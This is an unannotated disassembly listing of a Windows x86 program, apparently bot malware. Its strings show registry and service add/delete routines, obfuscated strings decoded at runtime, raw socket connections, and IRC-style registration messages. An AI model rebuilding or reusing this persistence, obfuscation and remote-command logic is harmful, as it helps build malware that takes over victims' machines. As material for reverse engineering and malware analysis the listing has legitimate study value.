		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_40F206:				; CODE XREF: ___:0040F1C7j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F23A:				; CODE XREF: ___:0040F176j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2D9
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F2B2
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F2B2:				; CODE XREF: ___:0040F27Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2D9:				; CODE XREF: ___:0040F24Cj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3EF
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F3AD
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h


loc_40F3AD:				; CODE XREF: ___:0040F364j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3EF:				; CODE XREF: ___:0040F2EBj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F491
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F46A
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_40F46A:				; CODE XREF: ___:0040F435j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F491:				; CODE XREF: ___:0040F404j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F590	proc near		; CODE XREF: sub_401D02j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F600	proc near		; CODE XREF: sub_401695j

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F70
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		nop
		call	near ptr 27E083Eh
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447134
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447138
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44713C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447140
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
		test	[esp+4+arg_0], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
		add	esp, 4


loc_40FD88:				; CODE XREF: sub_40FD70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_40FD70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E84
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C9E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 1B6h
		push	eax
		push	offset dword_4473E4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		push	edx
		push	offset dword_4472C0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 0DBh
		push	eax
		push	offset byte_447309
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		add	edx, 92h
		push	edx
		push	offset byte_44739B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401F32
		call	edi ; dword_50F8A4
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	near ptr 2821DA2h
		nop
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44736C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_447309
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi ; dword_50F8A4
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 2821DA2h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi ; dword_50F8A4
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F70
		mov	ecx, offset byte_44739B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44739B
		call	sub_4017E4
		mov	edx, dword_44711C
		push	eax
		push	edx
		push	offset aSS	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		mov	ecx, dword_447120
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
